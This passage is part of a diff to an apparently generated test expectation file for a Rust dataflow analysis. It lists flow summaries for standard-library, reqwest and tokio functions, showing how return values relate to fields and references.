ReentrantLock.data | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::reentrant_lock::ReentrantLockGuard::lock] in lang:std::_::::lock | ReentrantLockGuard | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::lock | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::os_str::bytes::Buf::inner] in lang:std::_::::clone | Buf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::os_str::bytes::Buf::inner] in lang:std::_::::from_inner | Buf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::os_str::bytes::Buf::inner] in lang:std::_::::from_encoded_bytes_unchecked | Buf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_encoded_bytes_unchecked | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::pal::unix::process::process_common::Stdio::Fd(0)] in lang:std::_::::from | Fd | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::pal::unix::process::process_inner::ExitStatus(0)] in lang:std::_::::from | ExitStatus | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::pal::unix::process::process_inner::ExitStatus(0)] in lang:std::_::::new | ExitStatus | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::pal::unix::weak::DlsymWeak::name] in lang:std::_::::new | DlsymWeak.name | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::pal::unix::weak::ExternWeak::weak_ptr] in lang:std::_::::new | ExternWeak | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::personality::dwarf::DwarfReader::ptr] in lang:std::_::::new | DwarfReader | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::thread_local::native::eager::Storage::val] in lang:std::_::::new | Storage.val | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::thread_local::native::eager::Storage::val].Field[crate::cell::UnsafeCell::value] in lang:std::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys::thread_local::native::eager::Storage::val] in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys_common::wtf8::CodePoint::value] in lang:std::_::::from_u32_unchecked | CodePoint | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_u32_unchecked | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sys_common::wtf8::Wtf8Buf::bytes] in lang:std::_::::from_bytes_unchecked | Wtf8Buf.bytes | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_bytes_unchecked | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::from | Ready | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::async_gen_ready | Ready | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::async_gen_ready | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map | Ready | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_err | Ready | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map_err | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_ok | Ready | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::map_ok | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)].Field[crate::option::Option::Some(0)] in lang:core::_::::async_gen_ready | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::async_gen_ready | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)].Field[crate::result::Result::Err(0)] in lang:core::_::::map_err | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_err | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)].Field[crate::result::Result::Err(0)] in lang:core::_::::map_ok | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_ok | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)].Field[crate::result::Result::Ok(0)] in lang:core::_::::map_err | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_err | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)].Field[crate::result::Result::Ok(0)] in lang:core::_::::map_ok | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::poll::Poll::Ready(0)] in lang:core::_::::map_ok | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Context::ext] in lang:core::_::::build | Context.ext | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::build | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Context::ext].Field[crate::panic::unwind_safe::AssertUnwindSafe(0)] in lang:core::_::::build | AssertUnwindSafe | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Context::ext] in lang:core::_::::build | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Context::local_waker] in lang:core::_::::build | Context.local_waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::build | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Context::waker] in lang:core::_::::from_waker | Context.waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_waker | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Context::waker] in lang:core::_::::build | Context.waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::build | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::ContextBuilder::ext] in lang:core::_::::ext | ContextBuilder.ext | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::ext | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::ContextBuilder::ext].Field[crate::task::wake::ExtData::Some(0)] in lang:core::_::::ext | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::ContextBuilder::ext] in lang:core::_::::ext | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::ContextBuilder::local_waker] in lang:core::_::::from | ContextBuilder.local_waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::ContextBuilder::local_waker] in lang:core::_::::local_waker | ContextBuilder.local_waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::local_waker | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::ContextBuilder::waker] in lang:core::_::::from | ContextBuilder.waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::ContextBuilder::waker] in lang:core::_::::from_waker | ContextBuilder.waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_waker | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::ContextBuilder::waker] in lang:core::_::::waker | ContextBuilder.waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::waker | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::LocalWaker::waker] in lang:core::_::::from_raw | LocalWaker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_raw | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::LocalWaker::waker] in lang:core::_::::new | LocalWaker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::LocalWaker::waker].Field[crate::task::wake::RawWaker::data] in lang:core::_::::new | RawWaker.data | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::LocalWaker::waker] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::LocalWaker::waker].Field[crate::task::wake::RawWaker::vtable] in lang:core::_::::new | RawWaker.vtable | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::LocalWaker::waker] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::RawWaker::data] in lang:core::_::::new | RawWaker.data | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::RawWaker::vtable] in lang:core::_::::new | RawWaker.vtable | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::RawWakerVTable::clone] in lang:core::_::::new | RawWakerVTable.clone | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::RawWakerVTable::drop] in lang:core::_::::new | RawWakerVTable.drop | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::RawWakerVTable::wake] in lang:core::_::::new | RawWakerVTable.wake | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::RawWakerVTable::wake_by_ref] in lang:core::_::::new | RawWakerVTable.wake_by_ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Waker::waker] in lang:core::_::::from_raw | Waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_raw | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Waker::waker] in lang:core::_::::new | Waker | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Waker::waker].Field[crate::task::wake::RawWaker::data] in lang:core::_::::new | RawWaker.data | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Waker::waker] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Waker::waker].Field[crate::task::wake::RawWaker::vtable] in lang:core::_::::new | RawWaker.vtable | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::task::wake::Waker::waker] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::thread::Builder::name] in lang:std::_::::name | Builder.name | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::name | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::thread::Builder::name].Field[crate::option::Option::Some(0)] in lang:std::_::::name | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::thread::Builder::name] in lang:std::_::::name | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::thread::Builder::stack_size] in lang:std::_::::stack_size | Builder.stack_size | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::stack_size | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::thread::Builder::stack_size].Field[crate::option::Option::Some(0)] in lang:std::_::::stack_size | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::thread::Builder::stack_size] in lang:std::_::::stack_size | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::thread::local::LocalKey::inner] in lang:std::_::::new | LocalKey | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::time::Duration::secs] in lang:core::_::::from_secs | Duration.secs | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::from_secs | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::time::Duration::secs] in lang:core::_::::new | Duration.secs | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::time::SystemTime(0)] in lang:std::_::::from_inner | SystemTime | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from_inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::Vec::len] in lang:alloc::_::<_ as crate::vec::spec_from_elem::SpecFromElem>::from_elem | Vec.len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::<_ as crate::vec::spec_from_elem::SpecFromElem>::from_elem | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::Vec::len] in lang:alloc::_::::from_parts_in | Vec.len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_parts_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::Vec::len] in lang:alloc::_::::from_raw_parts_in | Vec.len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_raw_parts_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::Vec::len] in lang:alloc::_::::from_elem | Vec.len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_elem | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::Vec::len] in lang:alloc::_::::from_elem | Vec.len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_elem | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::extract_if::ExtractIf::pred] in lang:alloc::_::::extract_if | ExtractIf.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::extract_if::ExtractIf::pred] in lang:alloc::_::::new | ExtractIf.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::extract_if::ExtractIf::vec] in lang:alloc::_::::extract_if | ExtractIf.vec | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::extract_if::ExtractIf::vec] in lang:alloc::_::::new | ExtractIf.vec | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::set_len_on_drop::SetLenOnDrop::len] in lang:alloc::_::::new | SetLenOnDrop.len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::vec::set_len_on_drop::SetLenOnDrop::local_len] in lang:alloc::_::::new | SetLenOnDrop.local_len | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | @@ -1412,6 +2675,7 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_line | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_line | | file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_segment | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_segment | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::to_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::to_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_mut | @@ -1430,20 +2694,34 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::index | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::index | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::index_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::index_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::as_bytes | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_bytes | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::kind | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::kind | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::as_into_iter | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_into_iter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::key | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::key | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::as_bytes_with_nul | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_bytes_with_nul | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::as_c_str | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_c_str | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::as_bytes | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_bytes | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::allocator | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::allocator | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::strong_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::strong_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::weak_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::weak_ref | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::allocator | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::allocator | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::as_bytes | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_bytes | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::as_mut_vec | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_mut_vec | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::trim | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::trim | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::allocator | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::allocator | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::allocator | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::allocator | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::allocator | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::allocator | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::<&_ as crate::borrow::Borrow>::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<&_ as crate::borrow::Borrow>::borrow | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::<&mut _ as crate::borrow::Borrow>::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<&mut _ as crate::borrow::Borrow>::borrow | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::<&mut _ as crate::borrow::BorrowMut>::borrow_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<&mut _ as crate::borrow::BorrowMut>::borrow_mut | @@ -1456,39 +2734,111 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::index | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::index | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::index_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::index_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::as_bytes | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::as_bytes | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::get_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::as_octets | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::as_octets | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::as_octets | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::as_octets | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::ip | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::ip | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::ip | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::ip | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::digits | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::digits | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::digits | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::digits | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::kind | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::kind | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::end | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::end | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::start | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::start | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::get_or_insert | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::get_or_insert | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::get_or_insert_default | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::get_or_insert_default | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::get_or_insert_with | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::get_or_insert_with | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::insert | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::insert | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::deref | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::as_slice | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::as_slice | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:core::_::::get_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::get_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in 